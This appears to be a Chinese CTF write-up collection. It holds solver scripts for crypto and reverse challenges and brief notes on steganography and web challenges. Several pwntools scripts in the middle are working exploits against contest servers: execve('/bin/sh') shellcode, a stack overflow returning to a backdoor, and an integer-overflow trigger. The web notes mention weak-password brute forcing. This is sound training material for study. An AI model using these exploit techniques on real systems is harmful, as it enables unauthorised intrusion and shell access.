print("Flag bytes (ascii):", flag_bytes)
print("Flag string:", flag_bytes.decode())

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import ast
import math
from itertools import product
from functools import reduce
import sys
import random

def load_list(path):
return ast.literal_eval(open(path).read().strip())

def is_probable_prime(n, k=6):
if n < 2: return False
small = [2,3,5,7,11,13,17,19,23,29]
for p in small:
if n % p == 0:
return n == p
# Miller-Rabin
d = n-1
s = 0
while d % 2 == 0:
d //= 2; s += 1
for _ in range(k):
a = random.randrange(2, n-1)
x = pow(a, d, n)
if x == 1 or x == n-1: continue
for __ in range(s-1):
x = (x*x) % n
if x == n-1: break
else:
return False
return True

def try_find_p_simple(pks, try_count=4):
"""
用前 try_count 个 pk 做全穷举 offsets (1..10)。
返回候选 p(若找到)。
"""
m = min(try_count, len(pks))
indices = list(range(m))
for offsets in product(range(1,11), repeat=m):
vals = [pks[i] - offsets[i] for i in indices]
g = abs(reduce(math.gcd, vals))
# 若 gcd 很大,可能就是 p 或 k*p
if g.bit_length() >= 120:
# 如果是素数就直接返回,否则也可能是 k*p
if is_probable_prime(g):
return g
else:
# 尝试把 g 除以小整数找出可能的素因子 q
for k in range(2, 100):
if g % k == 0:
q = g // k
if q.bit_length() >= 120 and is_probable_prime(q):
return q
# 若没找到,也可以直接返回 g(后面仍可用作模)
return g
return None

def recover_bits_and_flag(p, ciphertext):
bits = []
for c in ciphertext:
r = c % p
bits.append(str(r & 1))
bstr = ''.join(bits)
bytes_out = [int(bstr[i:i+8],2) for i in range(0,len(bstr),8)]
s = bytes(bytes_out).decode('utf-8', errors='replace')
return s

def main():
pks = load_list("pk.txt")
c = load_list("c.txt")
print("[*] 读取", len(pks), "个 pk 和", len(c), "个 c。")
# 先用前 3,再 4 个尝试(通常 3 就够)
for t in (3,4,5):
print(f"[*] 用前 {t} 个 pk 穷举偏移...")
p_candidate = try_find_p_simple(pks, try_count=t)
if p_candidate:
print("[*] 找到候选 p (或其倍数),bitlen =", p_candidate.bit_length())
flag = recover_bits_and_flag(p_candidate, c)
print("[*] 恢复出的字符串:")
print(flag)
if "flag{" in flag:
print("[+] 成功!")
return
else:
print("[!] 结果不包含 flag{...},但候选可继续分析。")
print("[!] 未找到,请增大 try_count 或手动分析候选 gcd。")

if __name__ == "__main__":
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import string

def decrypt_permutation(ciphertext):
# 1. 定义字母到数字的映射 (A=1, B=2, ..., Z=26)
# 字典中存储的是 (数字: 字母)
num_to_char = {i + 1: char for i, char in enumerate(string.ascii_uppercase)}

# 2. 定义逆置换 F^-1 的映射表 (即:密文数字 -> 明文数字)
# 这是我们通过反转轮换 F = (1 4 7 2 5)(3 6)(8 11 12)(9 10 13 14) 计算得出的
# F^-1 = (5 2 7 4 1)(6 3)(12 11 8)(14 13 10 9)

# 查找表: key=密文数字, value=明文数字
inverse_map = {
# 轮换 (5 2 7 4 1)
1: 5, # C_1 -> P_5
5: 2, # C_5 -> P_2
2: 7, # C_2 -> P_7
7: 4, # C_7 -> P_4
4: 1, # C_4 -> P_1
# 轮换 (6 3)
3: 6,
6: 3,
# 轮换 (12 11 8)
8: 12,
12: 11,
11: 8,
# 轮换 (14 13 10 9)
9: 14,
14: 13,
13: 10,
10: 9
}

# 3. 执行解密
plaintext = []

for char in ciphertext:
if 'A' <= char <= 'Z':
# 转换为密文数字
cipher_num = ord(char) - ord('A') + 1

# 查找逆置换:
# 如果数字在 1-14 范围内,使用查找表;否则,它是不变的 (F(x)=x),直接映射
plain_num = inverse_map.get(cipher_num, cipher_num)

# 转换回明文大写字母
plain_char = num_to_char[plain_num]
plaintext.append(plain_char)

else:
# 非字母符号 (空格、下划线、句点) 保持不变
plaintext.append(char)

return "".join(plaintext)

# 待解密密文
CIPHERTEXT = "SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU."

# 执行解密
decrypted_message = decrypt_permutation(CIPHERTEXT)

# 输出结果
print(f"密文: {CIPHERTEXT}")
print(f"明文: {decrypted_message}")

SUCH_A_SIMPLE_PERMUTATION_WILL_DEFINITELY_NOT_STUMP_YOU.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

# 远程目标地址和端口
HOST = '39.106.48.123'
PORT = 43714

# ----------------------------------------------------
# 修正: 直接使用硬编码的 x64 Shellcode 机器码,绕过 'as' 汇编器
# This is execve("/bin/sh", NULL, NULL)
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
# ----------------------------------------------------

context.arch = 'amd64' # 依然需要设置架构,但这次用于上下文信息
context.log_level = 'info'

def solve():
log.info(f"Connecting to {HOST}:{PORT}")
try:
io = remote(HOST, PORT)
except Exception as e:
log.error(f"Failed to connect: {e}")
return

log.info(f"Shellcode length: {len(shellcode)} bytes")

# 接收提示信息
io.recvuntil(b"please input a function(after compile)\n")

# 发送 Shellcode
log.success("Sending hardcoded shellcode to the executable memory region...")
# 使用 sendline 发送 Shellcode,通常 read() 接收完毕后需要一个换行符
io.sendline(shellcode)

# 进入交互模式
log.success("Shellcode executed! Switching to interactive mode to get the flag.")
io.interactive()

if __name__ == '__main__':
solve()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
import time

HOST = '8.147.132.32'
PORT = 40772
# 修正后的填充长度: 256 (buffer) + 8 (saved RBP) = 264 字节
PADDING_SIZE = 264
# 首次尝试偏移量: 假设 backd00r 在 unexcutable 之前 0x20 字节处
OFFSET = -0x20

context.log_level = 'info'
context.arch = 'amd64'

def solve():
log.info(f"Connecting to {HOST}:{PORT}")
io = remote(HOST, PORT)

# 1. 解析泄露的地址
backdoor_addr = None
io.recvuntil(b"This is the address of the backdoor function: ")

try:
leak_addr_str = io.recvline().strip()
unexcutable_addr = int(leak_addr_str, 16)
except Exception:
log.error("Failed to parse address line.")
io.close()
return

log.success(f"Leaked UNEXCUTABLE Address: {hex(unexcutable_addr)}")

# 2. 计算真正的 backd00r 地址
real_backdoor_addr = unexcutable_addr + OFFSET
log.success(f"Calculated REAL BACKDOOR Address ({hex(OFFSET)} offset): {hex(real_backdoor_addr)}")

# 接收剩余的提示信息,直到 "Enter your input:"
io.recvuntil(b"Enter your input:\n")

# 3. 构造 Payload (264 字节填充 + 8 字节 backd00r 地址)
payload = b'A' * PADDING_SIZE
payload += p64(real_backdoor_addr)

log.info(f"Payload size: {len(payload)} bytes")
io.sendline(payload)

# 4. 自动执行命令并接收 Flag
log.success("Exploit sent! Shell should be stable now. Sending 'cat flag'...")

# 确保 shell 有时间启动,然后发送命令
time.sleep(0.3)

# 发送 shell 命令
io.sendline(b'sh')
io.sendline(b'cat flag')

# 尝试接收所有剩余的数据
try:
flag_data = io.recvall(timeout=3)
if flag_data and b'flag{' in flag_data:
log.success(" FLAG FOUND! ")
print(flag_data.decode(errors='ignore'))
elif b'Congratulations' in flag_data:
log.success(" Shell confirmed! Check output for flag.")
print(flag_data.decode(errors='ignore'))
else:
log.warning("Received data but no clear flag. Switching to interactive mode.")
io.interactive() # 切换到手动模式以防万一

except Exception as e:
log.error(f"Error during final data capture: {e}")
io.interactive()

io.close()

if __name__ == '__main__':
solve()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

# 替换为实际的 IP 和 Port
HOST = '47.94.87.199'
PORT = 28674
PASSWORD = b'7038329' # 将密码转换为字节串

log.info(f"Connecting to {HOST}:{PORT}")
io = remote(HOST, PORT)

# 接收直到 'password: ' 的提示信息
io.recvuntil(b'password: ')

log.success(f"Sending password: {PASSWORD.decode()}")
# 发送密码和换行符
io.sendline(PASSWORD)

# 此时程序应该进入 shell
log.info("Successfully opened the door! Sending 'cat flag' command.")
io.sendline(b'cat flag')

# 切换到交互模式以查看 flag 并保持会话
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
import time

# 远程目标地址和端口
HOST = '39.106.48.123'
PORT = 26282
# 触发 16 位有符号整数溢出所需的循环次数 (32767 + 1)
OVERFLOW_COUNT = 32768

# 设置日志级别,减少不必要的输出
context.log_level = 'info'

def solve():
print(f"[*] Connecting to {HOST}:{PORT}")
try:
# 建立远程连接
io = remote(HOST, PORT)
except Exception as e:
log.error(f"Failed to connect: {e}")
return

log.info(f"Starting {OVERFLOW_COUNT} loops to trigger __int16 overflow...")

# 循环发送正数
for i in range(OVERFLOW_COUNT):
# scanf("%d", &v2) 期望接收一个整数和换行符。发送 '1\n'。
# 使用 str(1).encode() + b'\n' 等效于 p32(1) 或 p64(1) 对于 int v2 来说,
# 但 scanf("%d") 是读取 ASCII 文本,所以发送 b'1' 即可。
io.sendline(b'1')

# 每 1000 次循环打印一次进度
if (i + 1) % 1000 == 0:
log.progress("Progress", f"{i + 1}/{OVERFLOW_COUNT} inputs sent")

log.success("All inputs sent. Waiting for the flag...")

# 循环结束后,程序会打印 flag,使用 interactive() 模式接收剩余的所有数据
# 这会让我们进入程序交互模式,直到程序终止
io.interactive()

if __name__ == '__main__':
solve()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Cipher import AES
import base64

# 密文
cipher_text_b64 = "cTz2pDhl8fRMfkkJXfqs2t8JBsqLkvQZDLYpWjEtkLE="
cipher_bytes = base64.b64decode(cipher_text_b64)

# 密钥
key = b"1145141919810000"

# AES-ECB 解密
cipher = AES.new(key, AES.MODE_ECB)
plain_bytes = cipher.decrypt(cipher_bytes)

# 去掉 PKCS7 填充
pad_len = plain_bytes[-1]
plain_text = plain_bytes[:-pad_len].decode()

print("解密结果:", plain_text)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 目标字符串,是程序里最终比较的 Str2
target = "anu`ym7wKLl$P]v3q%D]lHpi"

# XOR key 对应 C 程序里的两轮 XOR
first_xor = [0x14, 0x11, 0x45] # 第一次循环使用的 key
second_xor = [0x13, 0x13, 0x51] # 第二次循环使用的 key (v5=19=0x13, v6=19=0x13, v7=81=0x51)

# 用于存储反算出的 flag
original_flag = []

for i, ch in enumerate(target):
# 将目标字符转换为 ASCII
c = ord(ch)

# C 程序的逻辑是:
# 第一次 XOR -> 第二次 XOR -> 最终得到 target
# 反算过程就是:target ^ second_xor ^ first_xor
orig = c ^ second_xor[i % 3] ^ first_xor[i % 3]

# 保存反算得到的字符
original_flag.append(chr(orig))

# 拼接得到 flag 字符串
flag = "".join(original_flag)

print("Recovered flag (length {}):".format(len(flag)))
print(flag)
1
2
3
4
5
6
7
8
9
10
# decode_custom_b64_oneoff.py
TABLE_STR = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF"
CIPHER = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9="

rev = {TABLE_STR[i]: i for i in range(64)}
cipher = CIPHER.rstrip('=')
bits = ''.join(f"{rev[ch]:06b}" for ch in cipher)
data = bytes(int(bits[i:i+8],2) for i in range(0, len(bits)//8*8, 8))
print(data.decode('utf-8'))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
key=1
G = PSL(2, 11); key*=G.order()
G = CyclicPermutationGroup(11); key*=G.order()
G = AlternatingGroup(114); key*=G.order()
G = PSL(4, 7); key*=G.order()
G = PSU(3, 4); key*=G.order()
G = MathieuGroup(12); key*=G.order()

c=91550542840025722520458836108112308924742424464072171170891749838108012046397534151231852770095499011

key = int(str(bin(key))[2:][0:42*8], 2)
m = c ^^ key

f=[]
while m>0:
f.append(chr(m % 256))
m//=256
f.reverse()
flag = ''.join(f)
print(flag)
# 放进sage终端即可
1
2
3
4
5
6
7
8
9
10
11
from math import isqrt

a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853
p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431
h = [184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808,
289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104]

m = (h[1] - a * h[0]) % p
m_len = (m.bit_length() + 7) // 8
flag = m.to_bytes(m_len, 'big')
print(flag.decode())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# decrypt_flag.py
from math import gcd, isqrt

P = 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506
n = 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333
c = 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845
# --------------------------------------------------

key = b"crypto"
e = 65537

def bytes_to_long(b: bytes) -> int:
return int.from_bytes(b, byteorder='big')

k = bytes_to_long(key)
p = P ^ k

assert p > 1 and n % (p**3) == 0, "p 恢复失败或 key 错误"

rem = n // (p**3)
q = isqrt(rem)
assert q * q == rem, "q 恢复失败"

# lambda(n) = lcm(p^2*(p-1), q*(q-1))
a = p**2 * (p - 1)
b = q * (q - 1)
lam = a // gcd(a, b) * b

d = pow(e, -1, lam)
m = pow(c, d, n)
m_len = (m.bit_length() + 7) // 8
flag = m.to_bytes(m_len, 'big')

print("key:", key)
print("flag:", flag.decode())

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes
from sympy import primerange

# ----------------- 输入数据 -----------------

# 1. 余数列表 c
c_list = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]

# 2. 模数列表 M
# 根据原始逻辑,模数是前 len(c_list) 个素数
num_primes = len(c_list)
all_primes = list(primerange(2, 114514))
M = all_primes[:num_primes]

# ----------------- 恢复逻辑 -----------------

# 使用 CRT 恢复原始整数
# crt(moduli, remainders) 返回 (reconstructed_int, total_modulus)
print("--- 正在执行 CRT 逆运算... ---")
message_int, _ = crt(M, c_list)

# 将整数转换回 bytes
flag_bytes = long_to_bytes(message_int)

# 解码为字符串
flag = flag_bytes.decode()

# ----------------- 输出结果 -----------------

print(f"恢复出的整数 (message_int): {message_int}")
print(f"解码后的 Flag: {flag}")

给了张图片 图片内容为一段代码 中间有个等号
按照题干内容fence(栅栏密码)和4颗钉子(间隔为4)得出base64码密文
随后查看图片隐写 检查十六进制代码后发现该图片同时是个zip文件 但需要密码
通过代码更改图片大小后发现下半部分隐藏了base64隐写的自定义密轮
8cd03308d1d5a093fb1f1b0b5053a7d1
通过网站解密后可发现压缩包的密码 从而得到flag
e83e0f3efc8200fd825a9cd947db29f2

一上来就是禁止使用各种快捷键进入开发者页面 但依旧可以使用右上角菜单栏开启
将按钮前方的div元素用控制栏编辑修改掉即可 点击进入下一关
6ee40a743a525692d9124686fd2fa061
下一关是弱口令密码爆破 这里直接破解即可
1d6b738a1be46323242f87cc892598c2
f634553fb563bc94703e01d80646f18c
进去之后给你该页面的php源码 叫你分析后通过?newstar来get传参 输入指定通关代码即可获取flag
3

安装提示走流程
第一关是抓包 把count改成800 过关
第二关是get传参蘑菇孢子 post传参骨钉
第三关是在user agent中输入技能名
然后直接获取flag